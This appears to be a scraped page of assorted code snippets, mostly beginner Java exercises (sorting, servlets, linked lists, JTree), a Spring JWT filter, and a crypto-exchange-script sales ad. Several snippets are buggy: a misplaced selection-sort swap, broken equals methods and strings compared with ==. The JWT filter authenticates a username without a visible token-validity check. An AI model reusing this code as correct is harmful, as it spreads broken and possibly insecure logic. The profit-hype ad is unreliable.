Snippets Collections
package com.nicatguliyev.jwt.learn_jwt.security;

import java.io.IOException;

import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.web.authentication.WebAuthenticationDetailsSource;
import org.springframework.stereotype.Component;
import org.springframework.web.filter.OncePerRequestFilter;

import com.nicatguliyev.jwt.learn_jwt.service.JwtService;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

@Component
public class JWTAuthenticationFilter extends OncePerRequestFilter {

  private final JwtService jwtService;

  public JWTAuthenticationFilter(JwtService jwtService) {
    this.jwtService = jwtService;
  }

  @Override
  protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
  throws ServletException, IOException {

    //System.out.println("DOFILTERINTERNAL RUNNING");

    String autHeader = request.getHeader("Authorization");
    if (autHeader == null || !autHeader.startsWith("Bearer ")) {
      filterChain.doFilter(request, response);
      return;
    }

    String token = autHeader.substring(7);
    String username = jwtService.extractUserName(token);

    if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
      UserDetails userDetails = User.withUsername(username).password("").build();

      UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(
        userDetails, null);
      authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
      SecurityContextHolder.getContext().setAuthentication(authenticationToken);

    }

    filterChain.doFilter(request, response);
  }

}
  if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
      UserDetails userDetails = User.withUsername(username).password("").build();

      UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(
        userDetails, null);
      authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
      SecurityContextHolder.getContext().setAuthentication(authenticationToken);

    }
  if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
      UserDetails userDetails = User.withUsername(username).password("").build();

      UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(
        userDetails, null);
      authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
      SecurityContextHolder.getContext().setAuthentication(authenticationToken);

    }
Imagine the thrill of building your financial empire without the constraints of a suit or the frenzy of Wall Street. 

	Well, the cryptocurrency exchange script could be your golden ticket to achieving that dream.

	Instead of countless hours of coding an exchange from scratch or spending a fortune on a developer, you can opt for a ready-made cryptocurrency exchange script. This allows you to set up your crypto trading platform quickly.

	It’s hassle-free so connect easily. Customize and start profiting while others dive into the trading frenzy!

Increase in demand
A growing wave of individuals is diving into the crypto market. Indicating that a large group of traders looking for a reliable crypto exchange

Endless possibilities for profits
From transaction fees to withdrawal fees and staking options, you are on the verge of creating your digital wealth!

No coding nightmares
Pre-build cryptocurrency exchange script take the burden off your shoulders. Allows you to save time, reduces stress, and avoids any existential crises.

	Why be satisfied with just watching the fluctuations in Bitcoin prices? Dive in and reap the benefits!

	Start your crypto exchange and get an exciting crypto wave of success.

	Who knows? In a few years, people might be talking about your crypto exchange in forums like this!
      
Website: https://www.trioangle.com/cryptocurrency-exchange-script/ 
WhatsApp us: +91 9361357439
Email us: sales@innblockchain.com
if (condition) {
  // block of code to be executed if the condition is true
}
package selectionsort;

public class SelectionSort {

    public static void main(String[] args) {
        int[] arr = {5,4,2,8,6,9};
        int leng = arr.length;

        System.out.print("Original array:");
        PrintArray(arr);
        
        for (int i = 0 ; i < leng - 1 ; i++) {
            int smallest = i;
            for (int j = i + 1 ; j < leng; j++) {
                if (arr[j] < arr[smallest]) {
                    smallest = j;
                
                int temp = arr[i];
                arr[i] = arr[smallest];
                arr[smallest] = temp;
                }
            }
        }
        System.out.print("Sorted array:");
        PrintArray(arr);
    }
    
    static void PrintArray(int[] arr){
        for (int val : arr) {
            System.out.print(val + " ");
        }
        System.out.println();
    }
}
package LinearSearch;

import java.util.*;

public class LinearSearch {


    public static void main(String args[])
    {
        Scanner sc = new Scanner(System.in);
        
        int arr[] = { 2, 3, 4, 10, 40 };
        
        System.out.print("What element are you searching for? ");
        int x = sc.nextInt();
        
        int result = search(arr, arr.length, x);
        if (result == -1)
            System.out.print("Element is not present in array");
        else
            System.out.println("Element is present: " + arr[result]);
    }
    
    public static int search(int arr[], int N, int x)
    {
        for (int i = 0; i < N; i++) {
            if (arr[i] == x)
                return i;
        }
        return -1;
    }
}
package bubblesort;

import java.util.*;

public class BubbleSort {

    public static void main(String[] args) {
        int[] arr = {5,4,2,8,6,9};
        int leng = arr.length;
        
        System.out.println("Array:");
        PrintArray(arr);
        bubblesort(arr, leng);
        System.out.println("Sorted array:");
        PrintArray(arr);
    }
    
    public static void bubblesort(int arr[],int n){
        boolean swapped;
        for (int i = 0; i < n - 1; i++) {
            swapped = false;
            for (int j = 0; j < n - i - 1; j++) {
                if (arr[j] > arr[j + 1]) {
                    int temp = arr[j];
                    arr[j] = arr[j + 1];
                    arr[j + 1] = temp;
                    swapped = true;
                }
        }
        if (swapped == false)
        break;
        }
    }
    
    static void PrintArray(int[] arr){
        for (int val : arr) {
            System.out.print(val + " ");
        }
        System.out.println();
    }
}
package bodymassindex;

import java.util.*;

public class BodyMassIndex {
    //metric
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        
        System.out.print("Enter your Weight in pounds: ");
        double weight = sc.nextDouble();
        System.out.print( "Enter your Height in inch: ");
        double height = sc.nextDouble();    
        
        double BMI = 703 * (weight/Math.pow(height,2));
        
        System.out.println("Weight: " + weight);
        System.out.println("Height: " + height);
        System.out.println("BMI: " + Math.round(BMI));
    }
}
index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Add numbers</title>
</head>
<body>
	
	<form action="add" method="get">
		enter num1:<input type="text" name="num1"><br>
		Enter num2:<input type="text" name="num2">
		
		<br>
		<input type="submit" value="Add">
	</form>
</body>
</html>

Add.java:
package com.Add;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet( urlPatterns={"/add"})
public class Add extends HttpServlet {
    public void service(HttpServletRequest req, HttpServletResponse res) throws IOException {
    	
    	int i=Integer.parseInt(req.getParameter("num1"));
    	int j=Integer.parseInt(req.getParameter("num2"));
    	
    	int k=i+j;
    	PrintWriter out=res.getWriter();
    	out.println(k);
    			
    }

}

web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
  <display-name>ParamDemo</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    <welcome-file>default.htm</welcome-file>
  </welcome-file-list>
</web-app>

HelloServlet.java:
import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.annotation.WebServlet;

@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        response.getWriter().println("<h1>Hello, World!</h1>");
    }
}

web.xml:
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">
    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

Output:
It displays in Web Browser:
Hello, World

Demo.java:
import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


@WebServlet("/Demo")
public class Demo extends HttpServlet {
	private static final long serialVersionUID = 1L;
    
    public Demo() {
        super();
        
    }

	
    @Override
    public void init(ServletConfig config) throws ServletException {
        super.init(config);
        // Initialization code here
        System.out.println("Servlet init() method called.");
    }


    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        // Handle request
        System.out.println("Servlet service() method called.");
        super.service(req, res);
    }
    @Override
    public void destroy() {
        // Cleanup code here
        System.out.println("Servlet destroy() method called.");
    }

}

web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
  <display-name>Demo1</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    <welcome-file>default.htm</welcome-file>
  </welcome-file-list>
</web-app>
import java.sql.*;

public class ScrollableResultSetExample {
    public static void main(String[] args) {
        String url = "jdbc:mysql://localhost:3306/your_database";
        String username = "root"; 
        String password = "your_password";

        try {
            Connection connection = DriverManager.getConnection(url, username, password);

            String query = "SELECT * FROM your_table";
            Statement statement = connection.createStatement(
                    ResultSet.TYPE_SCROLL_INSENSITIVE, 
                    ResultSet.CONCUR_READ_ONLY);
            
            ResultSet resultSet = statement.executeQuery(query);
            
            if (resultSet.last()) {
                System.out.println(resultSet.getString("column_name"));
            }

            if (resultSet.first()) {
                System.out.println(resultSet.getString("column_name"));
            }

            resultSet.close();
            statement.close();
            connection.close();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}
public class point{
    float x;
    float y;
    
    public point(float x,float y){
        this.x=x;
        this.y=y;
    }
    void afficher(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float a,float b){
        x=a;
        y=b;
    }
    float getAbscisse(){
        return this.x;
    }
    float getOrdonne(){
        return this.y;
    }
    public String toString(){
       String ch;
       ch="le point est "+ this.x +"\t"+this.y;
       return ch;
    }
    public Boolean equals(point po){
        return po!= null && po.equals(this.x) && po.equals(this.y);}
    public static void main (String []  args){
    point p=new point(19,4);
    p.afficher();
    System.out.println(p);
    p.deplacer(6,8);
    p.afficher();
    point p2=new point(6,8.0f);
    point p3=new point(4.0f, 2.0f);
    System.out.println("p est egal a p2:"+p.equals(p2));
    System.out.println("p est egal a p3:"+p.equals(p3));

   
            }
}
class compte{
    private double solde;
    public compte(float solde){
        this.solde=solde;
    }
    public double getSolde(){
        return solde;
    }
    void retirer(double ret){
        if(ret>solde){
        System.out.println("fonds insuffisants pour retirer"+ret+"d.");
        }else{
            solde-=ret;
            System.out.println("Retrait de"+ret+"deffectue.");
        }
    }
    void deposer(double dep){
        this.solde+=dep;
    }
    void transfer(compte c2,int nb){
        if(nb>solde){
        System.out.println("Fond insuffisants pour transfere"+nb+"d.");
        }else{
            retirer(nb);
            c2.deposer(nb);
        }
    }
    public static void  main (String[] args){
        compte c1=new compte(500);
        compte c2=new compte(0);
        c1.retirer(100);
        c1.deposer(200);
        c1.transfer(c2,300);
        System.out.println("compte 1="+c1.getSolde());
        System.out.println ("compte 2="+c2.getSolde());

    }
}
class point{
    float x;
    float y;
    public point(float x, float y) {
        this.x = x;
        this.y = y;
    }
    void affiche(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float dx,float dy){
        x=x+dx;
        y=y+dy;
    }
    double distance(){
        return Math.sqrt(Math.pow(x,2)+Math.pow(y,2));
    }

public static void main(String args[]){
    point p=new point(1,3);
    p.affiche();
    
}}
class Client{
    private String nom;
    private String prenom;
    private Long tel;
    Client(String nom , String prenom, Long tel){
        this.nom=nom;
        this.prenom=prenom;
        this.tel=tel;
    }
    public String toString(){
       return("nom:"+this.nom+" et le prenom:"+this.prenom+" et le telephone:"+this.tel);
    }
   String getNom(){
       return nom;
       } 
    String getPrenom(){
        return prenom;
       }
    Long getTel(){
        return tel;
    }
    void setNom(String ch){
        this.nom=ch;
    }
    void setPre(String ch){
        this.prenom=ch;
}
void setTel(Long t){
        this.tel=t;
}
public Boolean equals(Client c){
    return c !=null && c.nom.equals(this.nom) && c.prenom.equals(this.prenom) && c.tel.equals(this.tel); 
}
public static void main(String [] args){
    Client c=new Client("sahar","mess",99836678l);
    Client clt=new Client("sahar","mess",99836678l);
    System.out.println(c.equals(clt));
    System.out.println(c);
}
}
java 
Copy code 
import java.io.*;
import javax.xml.parsers.*;

public class DOMValidator {
    public static void main(String[] args) {
        try {
            System.out.println("Enter the XML file name:");
            File file = new File(new BufferedReader(new InputStreamReader(System.in)).readLine());
            if (file.exists() && isWellFormed(file)) {
                System.out.println(file.getName() + " is well-formed.");
            } else {
                System.out.println(file.exists() ? "Not well-formed." : "File not found.");
            }
        } catch (Exception e) {
            System.out.println("Error: " + e.getMessage());
        }
    }

    private static boolean isWellFormed(File file) {
        try {
            DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(file);
            return true;
        } catch (Exception e) {
            return false;
        }
    }
}

 
xml 
Copy code 
hello.xml
<?xml version="1.0" encoding="UTF-8"?>
<library>
    <book>
        <title>Java Programming</title>
        <author>John Doe</author>
    </book>
    <book>
        <title>XML Development</title>
        <author>Jane Smith</author>
    </book>
</library>

 
output:XML is valid
public class Person {
    // Attributs privés
    private String name;
    private int age;

    // Constructeur
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter pour l'attribut 'name'
    public String getName() {
        return name;
    }

    // Setter pour l'attribut 'name'
    public void setName(String name) {
        this.name = name;
    }

    // Getter pour l'attribut 'age'
    public int getAge() {
        return age;
    }

    // Setter pour l'attribut 'age'
    public void setAge(int age) {
        if (age > 0) { // Exemple de vérification
            this.age = age;
        }
    }
}
public class Person {
    // Attributs privés
    private String name;
    private int age;

    // Constructeur
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter pour l'attribut 'name'
    public String getName() {
        return name;
    }

    // Setter pour l'attribut 'name'
    public void setName(String name) {
        this.name = name;
    }

    // Getter pour l'attribut 'age'
    public int getAge() {
        return age;
    }

    // Setter pour l'attribut 'age'
    public void setAge(int age) {
        if (age > 0) { // Exemple de vérification
            this.age = age;
        }
    }
}
// Online Java Compiler
// Use this editor to write, compile and run your Java code online

class HelloWorld {
    public static void main(String[] args) {
        int n=4;
        for (int i=1; i<=n; i++){
            for(int j=i; j<=n; j++){
                System.out.print(" ");
            }
            for(int j=1; j<i; j++){
                System.out.print("*");
            }
            for(int j=1; j<=i; j++){
                System.out.print("*");
            }
            System.out.println(" ");
            
        }
                for(int i=1; i<=n; i++){
            for(int j=1; j<=i; j++){
                System.out.print(" ");
            }
            for(int j=i; j<n; j++ ){
                System.out.print("*");
            }
            for(int j=i; j<=n; j++ ){
                System.out.print("*");
            }
            System.out.println();
        }
       
}
}
import java.util.*;

import javax.swing.plaf.synth.SynthOptionPaneUI;
public class LinkedList {
    int size;
    public class Node{
        int data;
        Node next;

        Node(int data){
            this.data=data;
            this.next=null;
            size++;
        }
    }
    LinkedList(){
        size=0;
    }
    Node head;
    public void addFirst(int data){
        Node newNode=new Node(data);
        newNode.next=head;
        head=newNode;
    }
    public void addLast(int data){
        Node newNode=new Node(data);
        if(head==null){
            newNode.next=head;
            head=newNode;
        }else{
            Node curNode=head;
            while(curNode.next!=null){
                curNode=curNode.next;
            }
            curNode.next=newNode;
        }
    }
    public void removeFirst(){
        int val=0;
        if(head==null){
            System.out.println("Linked List Empty, can't perform Deletion");
        }else if(head.next==null){
            val=head.data;
            head=null;
            System.out.println(val+" Deleted...");
            size--;
        }else{
            val=head.data;
            head=head.next;
            System.out.println(val+" Deleted...");
            size--;
        }
    }
    public void removeLast(){
        int val=0;
        if(head==null){
            System.out.println("Linked List Empty, can't perform Deletion");
        }else if(head.next==null){
            val=head.data;
            head=null;
            System.out.println(val+" Deleted...");
            size--;
        }else{
            Node curNode=head;
            Node lastNode=head.next;
            while(lastNode.next!=null){
                lastNode=lastNode.next;
                curNode=curNode.next;
            }
            val=lastNode.data;
            System.out.println(val+" Deleted...");
            curNode.next=null;
            size--;
        }
    }
    public void reverseIterate(){
        if(head==null || head.next==null){
            return;
        }else{
            Node prevNode=head;
            Node curNode=head.next;
            while(curNode!=null){
                Node nextNode=curNode.next;
                curNode.next=prevNode;
                prevNode=curNode;
                curNode=nextNode;
            }
            head.next=null;
            head=prevNode;
            System.out.println("Linked List Reversed...");
        }

    }
    public void sizeOfList(){
        System.out.println("Size of List: "+size);
    }
    public void printList(){
        Node curNode=head;
        while(curNode!=null){
            System.out.print(curNode.data+"-> ");
            curNode=curNode.next;
        }System.out.println("NULL");
    }
    public static void main(String args[]){
        LinkedList list=new LinkedList();
        Scanner sc=new Scanner(System.in);
        int val=0;
        while(true){
            System.out.println("1:addFirst  2:addLast  3:removeFirst  4:removeLast  5:reverseIterate  6:sizeOfList  7:printList  8:End");
            System.out.print("Select any Option: ");
            int option=sc.nextInt();
            if(option==8){
                System.out.println("Thank You!!! ");
                break;
            }
            if(option==1 || option==2){
                System.out.print("Enter Value: ");
                val=sc.nextInt();
            }
            switch(option){
                case 1: 
                    list.addFirst(val);
                    break;
                case 2:
                    list.addLast(val);
                    break;
                case 3:
                    list.removeFirst();
                    break;
                case 4:
                    list.removeLast();
                    break;
                case 5:
                    list.reverseIterate();
                    break;
                case 6:
                    list.sizeOfList();
                    break;
                case 7:
                    list.printList();
                    break;
                default:
                    System.out.println("INVALID INPUT");
            }
        }
        
        
    }
}
//Exercise 6-2

package com.mycompany.countdown;

public class InfiniteLoop {
    public static void main(String[] args) {
        for (int i = 0; i <= 5; i++) {
            System.out.println("Hello");
        }
        /*
        for (int i = 0; i < 10; i--) {
        System.out.println("This will print forever.");
        */
    }
}
//Exercise 6-1

package com.mycompany.countdown;

public class Countdown {

    public static void main(String[] args) {
        
        //part 1
        for (int i = 0; i <= 5; i++) {
        System.out.println("" + i);
        }
        
        System.out.println("");
        
        //part 2
        for (int i = 0; i <= 20; i++) {
            
        int evenorodd = i%2;
        if (evenorodd == 0) {
            System.out.println("" + i);
        }
        }
    }
}
package com.mycompany.presentation;

import javax.swing.JOptionPane;

public class Presentation {
    public static void main(String[] args) {
        
        //Choices
        int option = JOptionPane.showConfirmDialog(null,
                "Are you sure you want to proceed?",
                "Confirmation",
                JOptionPane.YES_NO_OPTION);
        
        if (option == JOptionPane.NO_OPTION) {
            JOptionPane.showMessageDialog(null,
                "Ok",
                "End",
                0);
            System. exit(0);
        }
        //Fill in
        String FirstName = (String)JOptionPane.showInputDialog(null,
                "What is your First Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Joshua");
        //Fill in
        String MiddleName = (String)JOptionPane.showInputDialog(null,
                "What is your Middle Initial? ",
                "Personal Information",
                3,
                null,
                null,
                "M");
        //Fill in
        String LastName = (String)JOptionPane.showInputDialog(null,
                "What is your Last Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Santelices");
        
        //Full Name
        String FullName = FirstName + " " + MiddleName + " " + LastName;
        
        // Option
        int Confirmname = JOptionPane.showConfirmDialog(null,
                "Is your name " + FullName + "?",
                "Personal Information",
                JOptionPane.YES_NO_OPTION);
        
        int i=-1;
        do {
            if (Confirmname == JOptionPane.YES_OPTION){
                i++;
            } else {
            //Fill in
        FirstName = (String)JOptionPane.showInputDialog(null,
                "What is your First Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Joshua");
        //Fill in
        MiddleName = (String)JOptionPane.showInputDialog(null,
                "What is your Middle Initial? ",
                "Personal Information",
                3,
                null,
                null,
                "M");
        //Fill in
        LastName = (String)JOptionPane.showInputDialog(null,
                "What is your Last Name? ",
                "Personal Information",
                3,
                null,
                null,
                "Santelices");
        
        //Full Name
        FullName = FirstName + " " + MiddleName + " " + LastName;
        
        Confirmname = JOptionPane.showConfirmDialog(null,
                "Is your name " + FullName + "?",
                "Personal Information",
                JOptionPane.YES_NO_OPTION);
        
            }} while (i != 0);
                
        
        
        // Fill in
        int Age = Integer.parseInt((String)JOptionPane.showInputDialog(null,
                "How old are you?",
                "Personal Information",
                3,
                null,
                null,
                "19"));
        
        //Birthyear
        int BirthYear = 2024 - Age;
        
        String ParsedBirthYear = Integer.toString(BirthYear);
        
        // Output
        JOptionPane.showMessageDialog(null,
                "Your Birthyear is " + ParsedBirthYear,
                "Personal Information",
                0); 
        
        String Crush = (String)JOptionPane.showInputDialog(null,
                "Who is your crush?",
                "Magical Thingy",
                3,
                null,
                null,
                "Jara");
        
        i = -1;
            do {
            
                //Choices
                String [] Level = {"5","4", "Nothing"};
                String Floor = (String)JOptionPane.showInputDialog(null,
                    "What Floor?",
                    "Elevator",
                    3,
                    null,
                    Level,
                    Level[2]);
                
                if (Floor != "Nothing") {
                    i++;
                }else {
                    Floor = (String)JOptionPane.showInputDialog(null,
                    "What Floor?",
                    "Elevator",
                    3,
                    null,
                    Level,
                    Level[2]);
                }
            } while (i < 0);
               
        //Output
        JOptionPane.showMessageDialog(null,
                "Enters The elevator and presses 3",
                "Girl",
                2);
            
        //Output
        JOptionPane.showMessageDialog(null,
                "And if a double decker bus crashes into us",
                "The Smiths",
                2);
        
        //Choices
        
        JOptionPane.showMessageDialog(null,
                "I love the smiths!",
                "" + Crush,
                2);
        
        String [] Start = {"Ignore", "What?"};
        String Terms = (String)JOptionPane.showInputDialog(null,
                "",
                "" + FullName,
                3,
                null,
                Start,
                Start[1]);
        
        //And If A Double Decker Bus Kills The Both Of Us
        if (Terms == "What?"){
            //Output
            JOptionPane.showMessageDialog(null,
                "I said I love the smiths!",
                "" + Crush,
                2);
            JOptionPane.showMessageDialog(null,
                "To die by your side is such a heavenly way to die~ \n I love em",
                "" + Crush,
                2);
            
            //choices
            String [] Input = {"Penge cute pics","Stare"};
            String WhatToDo = (String)JOptionPane.showInputDialog(null,
                "What to do?",
                "" + FullName,
                2,
                null,
                Input,
                Input[1]);
            
            if (WhatToDo == "Penge cute pics") {
                    //Output
                    JOptionPane.showMessageDialog(null,
                    "Kadiri ka",
                    "End",
                    0);
                    System. exit(0); 
            }
            
            //Output
            JOptionPane.showMessageDialog(null,
                "Dings",
                "Elevator",
                2);
            JOptionPane.showMessageDialog(null,
                "Walks out",
                "" + Crush,
                2);
            
            //choices
            String [] Do = {"Kiligin","Kiligin ng sobra"};
            String Kilig = (String)JOptionPane.showInputDialog(null,
                "Ano gagawin?",
                "" + FullName,
                3,
                null,
                Do,
                Do[0]);
                if (Kilig == "Kiligin ng sobra") {
                    //output
                        JOptionPane.showMessageDialog(null,
                        "Naihi sa pantalon",
                        "End",
                        0);
                        System. exit(0);
                }
                
                //output
                JOptionPane.showMessageDialog(null,
                        "What the hell",
                        "" + FullName,
                        2);
                
                //Choices
                option = JOptionPane.showConfirmDialog(null,
                "Buy a kuromi plushie for " + Crush + "?",
                "" + FullName,
                JOptionPane.YES_NO_OPTION);
                
                if (option == JOptionPane.NO_OPTION) {
                    JOptionPane.showMessageDialog(null,
                    "Aww you missed the chance",
                    "End",
                    0);
                    System. exit(0);
                }
                
                JOptionPane.showMessageDialog(null,
                    "The plushie is worth 69.50 php",
                    "Cashier",
                    0);
                    
                //Fill in
                double Budget = Double.parseDouble((String)JOptionPane.showInputDialog(null,
                    "How much money do you have?",
                    "Wallet",
                    3,
                    null,
                    null,
                    "Your Budget"));
                //Budget
                double AfterBudget = Budget - 69.50;
                //Output
                if (AfterBudget < 0) {
                    JOptionPane.showMessageDialog(null,
                    "Your budget is not enough",
                    "Cashier",
                    0);
                    
                    JOptionPane.showMessageDialog(null,
                    "Aww you missed the chance",
                    "End",
                    0);
                    
                    System. exit(0); 
                }
                //Output
                JOptionPane.showMessageDialog(null,
                    "You now only have " + AfterBudget + " Php",
                    "Cashier",
                    0);
                
                option = JOptionPane.showConfirmDialog(null,
                "Give to " + Crush + "?",
                "" + FullName,
                JOptionPane.YES_NO_OPTION);
                
                if (option == JOptionPane.YES_OPTION) {
                    JOptionPane.showMessageDialog(null,
                    "Aww thanks but I have a Boyfriend",
                    "" + Crush,
                    0);
                    JOptionPane.showMessageDialog(null,
                    "Sad Ending",
                    "End",
                    0);
                    System. exit(0);
                    }
                JOptionPane.showMessageDialog(null,
                    "Aww you missed the chance",
                    "End",
                    0);
                    System. exit(0);
            }
        }
}
package com.mycompany.agevalidity;

import java.util.*;

public class AgeValidity {

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in); 
        
        boolean duage = false;
        
        System.out.print("Age: ");
        int age = sc.nextInt();
        
        System.out.println("Age: " + age);
        
        if (age < 18) {
            duage = true;
        }
        System.out.println("driving underaged: " + duage);
    }
}
package com.mycompany.chkoddeven;

import java.util.*;

public class ChkOddEven {

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        
        System.out.print("Input a number from 1-10: ");
        int num = sc.nextInt();
        
        int evenorodd = num%2;
        if (evenorodd == 1) {
            System.out.println("The number is Odd: " + num);
        } else {
            System.out.println("The number is Even: " + num);
        }
    }
}
import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner(System.in);
        int n,i,s,m,l,min,max;
        int tab[]=new int [30];
        s=0;
        m=0;
        do{
            System.out.println("donner la taille : \n");
            n=sa.nextInt();
        }while(n<1 || n>30 );
        for(i=0;i<n;i++){
            System.out.println("T["+i+"]= ");
            tab[i]=sa.nextInt();
                s=s+tab[i];
            System.out.println("\n");
        }
        min=tab[0];
        max=tab[0];
        for(i=0;i<n;i++){
             if (tab[i]<min)
            min=tab[i];
            if (tab[i]>max)
            max=tab[i];
        }
        m=s/n;
        
    System.out.println("la somme de tableau :" +s);
    System.out.println("la moyenne de tableau :" +m);
    System.out.println("la min de tableau :" +min);
    System.out.println("la max de tableau :" +max);
    
        
        
    }
}
import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner(System.in);
        int n,i,f;
        f=1;
        System.out.println("Ecrire un entier: ");
        n=sa.nextInt();
        for(i=1;i<=n;i++){
            f=f*i;
            
        }
        System.out.println(f);
        System.out.println("\n");
        
    }
}

import java.util.Scanner;
public class java{
    public static void main(String [] args){
    Scanner sa=new Scanner(System.in);
    int x;
    System.out.println("donner un entier: \n");
    x=sa.nextInt();
    if((x%2)==0)
        System.out.println("entier paire");
    else
    System.out.println("entier impaire");

}}
package santelices_binary;

import java.util.Collections;
import javax.swing.JFrame;
import javax.swing.JTree;
import javax.swing.tree.DefaultMutableTreeNode;

public class santelices_binary extends JFrame {
    JTree tree;
    
public santelices_binary() {
    DefaultMutableTreeNode html = new DefaultMutableTreeNode("html");
    DefaultMutableTreeNode head = new DefaultMutableTreeNode("head");
    DefaultMutableTreeNode body = new DefaultMutableTreeNode("body");
    html.add(head);
    html.add(body);
    
    DefaultMutableTreeNode meta = new DefaultMutableTreeNode("meta");
    DefaultMutableTreeNode title = new DefaultMutableTreeNode("title");
    head.add(meta);
    head.add(title);
    
    DefaultMutableTreeNode u1 = new DefaultMutableTreeNode("u1");
    DefaultMutableTreeNode h1 = new DefaultMutableTreeNode("h1");
    DefaultMutableTreeNode h2 = new DefaultMutableTreeNode("h2");
    body.add(u1);
    body.add(h1);
    body.add(h2);
    
    DefaultMutableTreeNode li1 = new DefaultMutableTreeNode("li");
    DefaultMutableTreeNode li2 = new DefaultMutableTreeNode("li");
    u1.add(li1);
    u1.add(li2);
    
    DefaultMutableTreeNode a = new DefaultMutableTreeNode("a");
    h2.add(a);
    
    System.out.println("4.1 Root Node: " + html.getRoot());
    System.out.println("4.2 Parent Nodes: " + head.getParent() + "' "
                                         + meta.getParent() + ", " 
                                         + u1.getParent() + ", " 
                                         + li1.getParent() + ", " 
                                         + a.getParent());
    System.out.println("4.3 Siblings: " + body.getPreviousSibling() + " and " + head.getNextSibling()
                                    + " , " + title.getPreviousSibling() + " and " + meta.getNextSibling()
                                    + " , " + li1.getNextSibling() + " and " + li2.getPreviousSibling());
    System.out.println("4.4 One-level subtrees: " + "\n" + " html - " + Collections.list(html.children())
                                                + "\n" + " head - " + Collections.list(head.children())
                                                + "\n" + " body - " + Collections.list(body.children())
                                                + "\n" + " u1 - " + Collections.list(u1.children())
                                                + "\n" + " h2 - " + Collections.list(h2.children()));
    System.out.println("4.5 Nodes per level: " + "\nLevel" + html.getLevel() + " - html"
                                            + "\nLevel" + head.getLevel() + " - head , body"
                                            + "\nLevel" + meta.getLevel() + " - meta, title, u1, h1, h2"
                                            + "\nLevel" + li1.getLevel() + " - li, li");
    System.out.println("4.6 Depth: " + html.getDepth());
    System.out.println("4.7 Degree of each one-level subtree: " + "html - " + html.getDepth()
                                                            + "\n" + "head - " + head.getDepth()
                                                            + "\n" + "body - " + body.getDepth()
                                                            + "\n" + "u1 - " + u1.getDepth()
                                                            + "\n" + "h2 - " + h2.getDepth());
    System.out.println("4.8 List of nodes based on: ");
    System.out.println("breadth - first: " + Collections.list(html.breadthFirstEnumeration()));
    System.out.println("breadth - first: " + Collections.list(html.preorderEnumeration()));                                        
    System.out.println("breadth - first: " + Collections.list(html.postorderEnumeration()));
                                            
    tree = new JTree(html);
    
    add(tree);
